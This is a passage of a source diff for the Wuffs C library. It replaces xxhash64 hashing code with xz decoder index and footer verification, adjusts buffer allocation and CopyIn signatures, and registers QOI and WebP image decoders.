self->private_impl.f_verification_want_total_sizes[0u] += self->private_impl.f_index_block_compressed_size; -+ v_hash = ((uint32_t)((self->private_impl.f_index_block_compressed_size ^ (self->private_impl.f_index_block_compressed_size >> 32u)))); -+ v_hash *= 3432918353u; -+ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); -+ v_hash *= 461845907u; -+ v_hash ^= self->private_impl.f_verification_want_hashed_sizes[0u]; -+ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); -+ self->private_impl.f_verification_want_hashed_sizes[0u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); -+ self->private_impl.f_verification_want_total_sizes[1u] += self->private_impl.f_index_block_uncompressed_size; -+ v_hash = ((uint32_t)((self->private_impl.f_index_block_uncompressed_size ^ (self->private_impl.f_index_block_uncompressed_size >> 32u)))); -+ v_hash *= 3432918353u; -+ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); -+ v_hash *= 461845907u; -+ v_hash ^= self->private_impl.f_verification_want_hashed_sizes[1u]; -+ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); -+ self->private_impl.f_verification_want_hashed_sizes[1u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); -+ } -+ if ((self->private_impl.f_verification_have_hashed_sizes[0u] != self->private_impl.f_verification_want_hashed_sizes[0u]) || -+ (self->private_impl.f_verification_have_hashed_sizes[1u] != self->private_impl.f_verification_want_hashed_sizes[1u]) || -+ (self->private_impl.f_verification_have_total_sizes[0u] != self->private_impl.f_verification_want_total_sizes[0u]) || -+ (self->private_impl.f_verification_have_total_sizes[1u] != self->private_impl.f_verification_want_total_sizes[1u])) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_index); -+ goto exit; -+ } - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_xxhash64__hasher__update_u64( -- wuffs_xxhash64__hasher* self, -- wuffs_base__slice_u8 a_x) { -- if (!self) { -- return 0; -+ goto ok; -+ ok: -+ self->private_impl.p_verify_index = 0; -+ goto exit; - } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return 0; -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_verify_index = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_verify_index.v_shift = v_shift; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - -- wuffs_xxhash64__hasher__update(self, a_x); -- return wuffs_xxhash64__hasher__checksum_u64(self); -+ return status; - } - --// -------- func xxhash64.hasher.up -+// -------- func xz.decoder.verify_footer - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_xxhash64__hasher__up( -- wuffs_xxhash64__hasher* self, -- wuffs_base__slice_u8 a_x) { -- uint64_t v_new_lmu = 0; -- uint64_t v_buf_u64 = 0; -- uint32_t v_buf_len = 0; -- uint64_t v_v0 = 0; -- uint64_t v_v1 = 0; -- uint64_t v_v2 = 0; -- uint64_t v_v3 = 0; -- wuffs_base__slice_u8 v_p = {0}; -+static wuffs_base__status -+wuffs_xz__decoder__verify_footer( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- v_new_lmu = ((uint64_t)(self->private_impl.f_length_modulo_u64 + ((uint64_t)(a_x.len)))); -- self->private_impl.f_length_overflows_u64 = ((v_new_lmu < self->private_impl.f_length_modulo_u64) || self->private_impl.f_length_overflows_u64); -- self->private_impl.f_length_modulo_u64 = v_new_lmu; -- while (true) { -- if (self->private_impl.f_buf_len >= 32u) { -- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | -- (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | -- (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | -- (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | -- (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | -- (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | -- (((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | -- (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); -- v_v0 = ((uint64_t)(self->private_impl.f_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -- v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); -- self->private_impl.f_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); -- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | -- (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | -- (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | -- (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | -- (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | -- (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | -- (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | -- (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); -- v_v1 = ((uint64_t)(self->private_impl.f_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -- v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); -- self->private_impl.f_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); -- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | -- (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | -- (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | -- (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | -- (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | -- (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | -- (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | -- (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); -- v_v2 = ((uint64_t)(self->private_impl.f_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -- v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); -- self->private_impl.f_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); -- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[24u])) | -- (((uint64_t)(self->private_impl.f_buf_data[25u])) << 8u) | -- (((uint64_t)(self->private_impl.f_buf_data[26u])) << 16u) | -- (((uint64_t)(self->private_impl.f_buf_data[27u])) << 24u) | -- (((uint64_t)(self->private_impl.f_buf_data[28u])) << 32u) | -- (((uint64_t)(self->private_impl.f_buf_data[29u])) << 40u) | -- (((uint64_t)(self->private_impl.f_buf_data[30u])) << 48u) | -- (((uint64_t)(self->private_impl.f_buf_data[31u])) << 56u)); -- v_v3 = ((uint64_t)(self->private_impl.f_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -- v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); -- self->private_impl.f_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); -- self->private_impl.f_buf_len = 0u; -- break; -+ uint32_t v_c32 = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_verify_footer; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_verify_footer.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_verify_footer.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ } -+ } -+ v_c32 = t_0; - } -- if (((uint64_t)(a_x.len)) <= 0u) { -- return wuffs_base__make_empty_struct(); -+ if (v_c32 != ((uint32_t)(self->private_impl.f_backwards_size))) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_footer); -+ goto exit; - } -- self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; -- self->private_impl.f_buf_len += 1u; -- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); -- } -- v_buf_len = (self->private_impl.f_buf_len & 31u); -- v_v0 = self->private_impl.f_v0; -- v_v1 = self->private_impl.f_v1; -- v_v2 = self->private_impl.f_v2; -- v_v3 = self->private_impl.f_v3; -- { -- wuffs_base__slice_u8 i_slice_p = a_x; -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 32; -- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); -- while (v_p.ptr < i_end0_p) { -- v_buf_u64 = (((uint64_t)(v_p.ptr[0u])) | -- (((uint64_t)(v_p.ptr[1u])) << 8u) | -- (((uint64_t)(v_p.ptr[2u])) << 16u) | -- (((uint64_t)(v_p.ptr[3u])) << 24u) | -- (((uint64_t)(v_p.ptr[4u])) << 32u) | -- (((uint64_t)(v_p.ptr[5u])) << 40u) | -- (((uint64_t)(v_p.ptr[6u])) << 48u) | -- (((uint64_t)(v_p.ptr[7u])) << 56u)); -- v_v0 = ((uint64_t)(v_v0 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -- v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); -- v_v0 = ((uint64_t)(v_v0 * 11400714785074694791u)); -- v_buf_u64 = (((uint64_t)(v_p.ptr[8u])) | -- (((uint64_t)(v_p.ptr[9u])) << 8u) | -- (((uint64_t)(v_p.ptr[10u])) << 16u) | -- (((uint64_t)(v_p.ptr[11u])) << 24u) | -- (((uint64_t)(v_p.ptr[12u])) << 32u) | -- (((uint64_t)(v_p.ptr[13u])) << 40u) | -- (((uint64_t)(v_p.ptr[14u])) << 48u) | -- (((uint64_t)(v_p.ptr[15u])) << 56u)); -- v_v1 = ((uint64_t)(v_v1 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -- v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); -- v_v1 = ((uint64_t)(v_v1 * 11400714785074694791u)); -- v_buf_u64 = (((uint64_t)(v_p.ptr[16u])) | -- (((uint64_t)(v_p.ptr[17u])) << 8u) | -- (((uint64_t)(v_p.ptr[18u])) << 16u) | -- (((uint64_t)(v_p.ptr[19u])) << 24u) | -- (((uint64_t)(v_p.ptr[20u])) << 32u) | -- (((uint64_t)(v_p.ptr[21u])) << 40u) | -- (((uint64_t)(v_p.ptr[22u])) << 48u) | -- (((uint64_t)(v_p.ptr[23u])) << 56u)); -- v_v2 = ((uint64_t)(v_v2 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -- v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); -- v_v2 = ((uint64_t)(v_v2 * 11400714785074694791u)); -- v_buf_u64 = (((uint64_t)(v_p.ptr[24u])) | -- (((uint64_t)(v_p.ptr[25u])) << 8u) | -- (((uint64_t)(v_p.ptr[26u])) << 16u) | -- (((uint64_t)(v_p.ptr[27u])) << 24u) | -- (((uint64_t)(v_p.ptr[28u])) << 32u) | -- (((uint64_t)(v_p.ptr[29u])) << 40u) | -- (((uint64_t)(v_p.ptr[30u])) << 48u) | -- (((uint64_t)(v_p.ptr[31u])) << 56u)); -- v_v3 = ((uint64_t)(v_v3 + ((uint64_t)(v_buf_u64 * 14029467366897019727u)))); -- v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); -- v_v3 = ((uint64_t)(v_v3 * 11400714785074694791u)); -- v_p.ptr += 32; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_verify_footer.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_verify_footer.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 8) { -+ t_1 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ } -+ } -+ v_c32 = t_1; - } -- v_p.len = 1; -- uint8_t* i_end1_p = i_slice_p.ptr + i_slice_p.len; -- while (v_p.ptr < i_end1_p) { -- self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; -- v_buf_len = ((v_buf_len + 1u) & 31u); -- v_p.ptr += 1; -+ if (v_c32 != ((uint32_t)(self->private_impl.f_flags))) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_footer); -+ goto exit; - } -- v_p.len = 0; -- } -- self->private_impl.f_buf_len = v_buf_len; -- self->private_impl.f_v0 = v_v0; -- self->private_impl.f_v1 = v_v1; -- self->private_impl.f_v2 = v_v2; -- self->private_impl.f_v3 = v_v3; -- return wuffs_base__make_empty_struct(); --} -- --// -------- func xxhash64.hasher.checksum_u64 - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_xxhash64__hasher__checksum_u64( -- const wuffs_xxhash64__hasher* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ goto ok; -+ ok: -+ self->private_impl.p_verify_footer = 0; -+ goto exit; - } - -- uint64_t v_ret = 0; -- uint64_t v_v0 = 0; -- uint64_t v_v1 = 0; -- uint64_t v_v2 = 0; -- uint64_t v_v3 = 0; -- uint32_t v_i = 0; -- uint32_t v_i8 = 0; -- uint32_t v_n = 0; -- uint32_t v_buf_u32 = 0; -- uint64_t v_buf_u64 = 0; -+ goto suspend; -+ suspend: -+ self->private_impl.p_verify_footer = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - -- if ((self->private_impl.f_length_modulo_u64 >= 32u) || self->private_impl.f_length_overflows_u64) { -- v_ret += (((uint64_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 63u)); -- v_ret += (((uint64_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 57u)); -- v_ret += (((uint64_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 52u)); -- v_ret += (((uint64_t)(self->private_impl.f_v3 << 18u)) | (self->private_impl.f_v3 >> 46u)); -- v_v0 = ((uint64_t)(self->private_impl.f_v0 * 14029467366897019727u)); -- v_v0 = (((uint64_t)(v_v0 << 31u)) | (v_v0 >> 33u)); -- v_v0 *= 11400714785074694791u; -- v_v1 = ((uint64_t)(self->private_impl.f_v1 * 14029467366897019727u)); -- v_v1 = (((uint64_t)(v_v1 << 31u)) | (v_v1 >> 33u)); -- v_v1 *= 11400714785074694791u; -- v_v2 = ((uint64_t)(self->private_impl.f_v2 * 14029467366897019727u)); -- v_v2 = (((uint64_t)(v_v2 << 31u)) | (v_v2 >> 33u)); -- v_v2 *= 11400714785074694791u; -- v_v3 = ((uint64_t)(self->private_impl.f_v3 * 14029467366897019727u)); -- v_v3 = (((uint64_t)(v_v3 << 31u)) | (v_v3 >> 33u)); -- v_v3 *= 11400714785074694791u; -- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v0) * 11400714785074694791u)) + 9650029242287828579u)); -- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v1) * 11400714785074694791u)) + 9650029242287828579u)); -- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v2) * 11400714785074694791u)) + 9650029242287828579u)); -- v_ret = ((uint64_t)(((uint64_t)((v_ret ^ v_v3) * 11400714785074694791u)) + 9650029242287828579u)); -- v_ret += self->private_impl.f_length_modulo_u64; -- } else { -- v_ret += 2870177450012600261u; -- v_ret += self->private_impl.f_length_modulo_u64; -- } -- v_n = 32u; -- v_n = wuffs_base__u32__min(v_n, self->private_impl.f_buf_len); -- if (8u <= v_n) { -- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[0u])) | -- (((uint64_t)(self->private_impl.f_buf_data[1u])) << 8u) | -- (((uint64_t)(self->private_impl.f_buf_data[2u])) << 16u) | -- (((uint64_t)(self->private_impl.f_buf_data[3u])) << 24u) | -- (((uint64_t)(self->private_impl.f_buf_data[4u])) << 32u) | -- (((uint64_t)(self->private_impl.f_buf_data[5u])) << 40u) | -- (((uint64_t)(self->private_impl.f_buf_data[6u])) << 48u) | -- (((uint64_t)(self->private_impl.f_buf_data[7u])) << 56u)); -- v_buf_u64 *= 14029467366897019727u; -- v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); -- v_buf_u64 *= 11400714785074694791u; -- v_ret ^= v_buf_u64; -- v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); -- v_ret *= 11400714785074694791u; -- v_ret += 9650029242287828579u; -- v_i = 8u; -- } -- if (16u <= v_n) { -- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[8u])) | -- (((uint64_t)(self->private_impl.f_buf_data[9u])) << 8u) | -- (((uint64_t)(self->private_impl.f_buf_data[10u])) << 16u) | -- (((uint64_t)(self->private_impl.f_buf_data[11u])) << 24u) | -- (((uint64_t)(self->private_impl.f_buf_data[12u])) << 32u) | -- (((uint64_t)(self->private_impl.f_buf_data[13u])) << 40u) | -- (((uint64_t)(self->private_impl.f_buf_data[14u])) << 48u) | -- (((uint64_t)(self->private_impl.f_buf_data[15u])) << 56u)); -- v_buf_u64 *= 14029467366897019727u; -- v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); -- v_buf_u64 *= 11400714785074694791u; -- v_ret ^= v_buf_u64; -- v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); -- v_ret *= 11400714785074694791u; -- v_ret += 9650029242287828579u; -- v_i = 16u; -- } -- if (24u <= v_n) { -- v_buf_u64 = (((uint64_t)(self->private_impl.f_buf_data[16u])) | -- (((uint64_t)(self->private_impl.f_buf_data[17u])) << 8u) | -- (((uint64_t)(self->private_impl.f_buf_data[18u])) << 16u) | -- (((uint64_t)(self->private_impl.f_buf_data[19u])) << 24u) | -- (((uint64_t)(self->private_impl.f_buf_data[20u])) << 32u) | -- (((uint64_t)(self->private_impl.f_buf_data[21u])) << 40u) | -- (((uint64_t)(self->private_impl.f_buf_data[22u])) << 48u) | -- (((uint64_t)(self->private_impl.f_buf_data[23u])) << 56u)); -- v_buf_u64 *= 14029467366897019727u; -- v_buf_u64 = (((uint64_t)(v_buf_u64 << 31u)) | (v_buf_u64 >> 33u)); -- v_buf_u64 *= 11400714785074694791u; -- v_ret ^= v_buf_u64; -- v_ret = (((uint64_t)(v_ret << 27u)) | (v_ret >> 37u)); -- v_ret *= 11400714785074694791u; -- v_ret += 9650029242287828579u; -- v_i = 24u; -- } -- if ((v_n & 4u) != 0u) { -- v_i8 = (v_i & 24u); -- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 0u)])) | -- (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 1u)])) << 8u) | -- (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 2u)])) << 16u) | -- (((uint32_t)(self->private_impl.f_buf_data[(v_i8 + 3u)])) << 24u)); -- v_ret ^= ((uint64_t)(((uint64_t)(v_buf_u32)) * 11400714785074694791u)); -- v_ret = (((uint64_t)(v_ret << 23u)) | (v_ret >> 41u)); -- v_ret *= 14029467366897019727u; -- v_ret += 1609587929392839161u; -- v_i = (v_i8 + 4u); -- } -- while (v_i < v_n) { -- v_ret ^= ((uint64_t)(((uint64_t)(self->private_impl.f_buf_data[v_i])) * 2870177450012600261u)); -- v_ret = (((uint64_t)(v_ret << 11u)) | (v_ret >> 53u)); -- v_ret *= 11400714785074694791u; -- v_i += 1u; -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- v_ret ^= (v_ret >> 33u); -- v_ret *= 14029467366897019727u; -- v_ret ^= (v_ret >> 29u); -- v_ret *= 1609587929392839161u; -- v_ret ^= (v_ret >> 32u); -- return ((uint64_t)(v_ret)); -+ -+ return status; - } - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) - - #if defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - -@@ -62309,16 +78871,12 @@ DynIOBuffer::DynIOBuffer(uint64_t max_incl) - : m_buf(wuffs_base__empty_io_buffer()), m_max_incl(max_incl) {} - - DynIOBuffer::~DynIOBuffer() { -- if (m_buf.data.ptr) { -- free(m_buf.data.ptr); -- } -+ free(m_buf.data.ptr); - } - - void // - DynIOBuffer::drop() { -- if (m_buf.data.ptr) { -- free(m_buf.data.ptr); -- } -+ free(m_buf.data.ptr); - m_buf = wuffs_base__empty_io_buffer(); - } - -@@ -62329,13 +78887,16 @@ DynIOBuffer::grow(uint64_t min_incl) { - return ((min_incl == 0) && (m_max_incl == 0)) - ? DynIOBuffer::GrowResult::OK - : DynIOBuffer::GrowResult::FailedMaxInclExceeded; -+ } else if (n > SIZE_MAX) { -+ return DynIOBuffer::GrowResult::FailedOutOfMemory; - } else if (n > m_buf.data.len) { -- uint8_t* ptr = static_cast(realloc(m_buf.data.ptr, n)); -+ uint8_t* ptr = -+ static_cast(realloc(m_buf.data.ptr, static_cast(n))); - if (!ptr) { - return DynIOBuffer::GrowResult::FailedOutOfMemory; - } - m_buf.data.ptr = ptr; -- m_buf.data.len = n; -+ m_buf.data.len = static_cast(n); - } - return DynIOBuffer::GrowResult::OK; - } -@@ -62382,7 +78943,7 @@ Input::BringsItsOwnIOBuffer() { - FileInput::FileInput(FILE* f) : m_f(f) {} - - std::string // --FileInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { -+FileInput::CopyIn(IOBuffer* dst) { - if (!m_f) { - return "wuffs_aux::sync_io::FileInput: nullptr file"; - } else if (!dst) { -@@ -62390,7 +78951,7 @@ FileInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { - } else if (dst->meta.closed) { - return "wuffs_aux::sync_io::FileInput: end of file"; - } else { -- dst->compact_retaining(history_retain_length); -+ dst->compact(); - size_t n = fread(dst->writer_pointer(), 1, dst->writer_length(), m_f); - dst->meta.wi += n; - dst->meta.closed = feof(m_f); -@@ -62418,7 +78979,7 @@ MemoryInput::BringsItsOwnIOBuffer() { - } - - std::string // --MemoryInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { -+MemoryInput::CopyIn(IOBuffer* dst) { - if (!dst) { - return "wuffs_aux::sync_io::MemoryInput: nullptr IOBuffer"; - } else if (dst->meta.closed) { -@@ -62428,7 +78989,7 @@ MemoryInput::CopyIn(IOBuffer* dst, uint64_t history_retain_length) { - // to it. - return "wuffs_aux::sync_io::MemoryInput: overlapping buffers"; - } else { -- dst->compact_retaining(history_retain_length); -+ dst->compact(); - size_t nd = dst->writer_length(); - size_t ns = m_io.reader_length(); - size_t n = (nd < ns) ? nd : ns; -@@ -62483,7 +79044,7 @@ AdvanceIOBufferTo(const ErrorMessages& error_messages, - if (!input.BringsItsOwnIOBuffer()) { - io_buf.compact(); - } -- std::string error_message = input.CopyIn(&io_buf, 0); -+ std::string error_message = input.CopyIn(&io_buf); - if (!error_message.empty()) { - return error_message; - } -@@ -62566,7 +79127,7 @@ HandleMetadata( - } else if (!input.BringsItsOwnIOBuffer()) { - io_buf.compact(); - } -- std::string error_message = input.CopyIn(&io_buf, 0); -+ std::string error_message = input.CopyIn(&io_buf); - if (!error_message.empty()) { - return error_message; - } -@@ -62627,15 +79188,13 @@ DecodeCborCallbacks::Done(DecodeCborResult& result, - sync_io::Input& input, - IOBuffer& buffer) {} - --DecodeCborArgQuirks::DecodeCborArgQuirks(wuffs_base__slice_u32 repr0) -- : repr(repr0) {} -- --DecodeCborArgQuirks::DecodeCborArgQuirks(uint32_t* ptr0, size_t len0) -- : repr(wuffs_base__make_slice_u32(ptr0, len0)) {} -+DecodeCborArgQuirks::DecodeCborArgQuirks(const QuirkKeyValuePair* ptr0, -+ const size_t len0) -+ : ptr(ptr0), len(len0) {} - - DecodeCborArgQuirks // - DecodeCborArgQuirks::DefaultValue() { -- return DecodeCborArgQuirks(wuffs_base__empty_slice_u32()); -+ return DecodeCborArgQuirks(nullptr, 0); - } - - DecodeCborResult // -@@ -62664,8 +79223,8 @@ DecodeCbor(DecodeCborCallbacks& callbacks, - ret_error_message = "wuffs_aux::DecodeCbor: out of memory"; - goto done; - } -- for (size_t i = 0; i < quirks.repr.len; i++) { -- dec->set_quirk(quirks.repr.ptr[i], 1); -+ for (size_t i = 0; i < quirks.len; i++) { -+ dec->set_quirk(quirks.ptr[i].first, quirks.ptr[i].second); - } - - // Prepare the wuffs_base__tok_buffer. 256 tokens is 2KiB. -@@ -62710,14 +79269,14 @@ DecodeCbor(DecodeCborCallbacks& callbacks, - "wuffs_aux::DecodeCbor: internal error: io_buf is closed"; - goto done; - } -- io_buf->compact_retaining(dec->history_retain_length()); -+ io_buf->compact(); - if (io_buf->meta.wi >= io_buf->data.len) { - ret_error_message = - "wuffs_aux::DecodeCbor: internal error: io_buf is full"; - goto done; - } - cursor_index = io_buf->meta.ri; -- io_error_message = input.CopyIn(io_buf, dec->history_retain_length()); -+ io_error_message = input.CopyIn(io_buf); - } else { - ret_error_message = tok_status.message(); - goto done; -@@ -62796,7 +79355,7 @@ DecodeCbor(DecodeCborCallbacks& callbacks, - goto done; - } - depth++; -- if (depth > WUFFS_CBOR__DECODER_DEPTH_MAX_INCL) { -+ if (depth > (int32_t)WUFFS_CBOR__DECODER_DEPTH_MAX_INCL) { - ret_error_message = - "wuffs_aux::DecodeCbor: internal error: bad depth"; - goto done; -@@ -63052,6 +79611,11 @@ DecodeImageCallbacks::SelectDecoder(uint32_t fourcc, - } - #endif - -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) -+ case WUFFS_BASE__FOURCC__QOI: -+ return wuffs_qoi__decoder::alloc_as__wuffs_base__image_decoder(); -+#endif -+ - #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) - case WUFFS_BASE__FOURCC__TGA: - return wuffs_tga__decoder::alloc_as__wuffs_base__image_decoder(); -@@ -63061,6 +79625,11 @@ DecodeImageCallbacks::SelectDecoder(uint32_t fourcc, - case WUFFS_BASE__FOURCC__WBMP: - return wuffs_wbmp__decoder::alloc_as__wuffs_base__image_decoder(); - #endif -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) -+ case WUFFS_BASE__FOURCC__WEBP: -+ return wuffs_webp__decoder::alloc_as__wuffs_base__image_decoder(); -+#endif - } - - return wuffs_base__image_decoder::unique_ptr(nullptr); -@@ -63091,7 +79660,7 @@ DecodeImageCallbacks::AllocPixbuf(const wuffs_base__image_config& image_config, - return AllocPixbufResult(DecodeImage_UnsupportedPixelConfiguration); - } - void* ptr = -- allow_uninitialized_memory ? malloc((size_t)len) : calloc((size_t)len, 1); -+ allow_uninitialized_memory ? malloc((size_t)len) : calloc(1, (size_t)len); - if (!ptr) { - return AllocPixbufResult(DecodeImage_OutOfMemory); - } -@@ -63116,7 +79685,7 @@ DecodeImageCallbacks::AllocWorkbuf(wuffs_base__range_ii_u64 len_range, - return AllocWorkbufResult(DecodeImage_OutOfMemory); - } - void* ptr = -- allow_uninitialized_memory ? malloc((size_t)len) : calloc((size_t)len, 1); -+ allow_uninitialized_memory ? malloc((size_t)len) : calloc(1, (size_t)len); - if (!ptr) { - return AllocWorkbufResult(DecodeImage_OutOfMemory); - } -@@ -63153,15 +79722,13 @@ const char 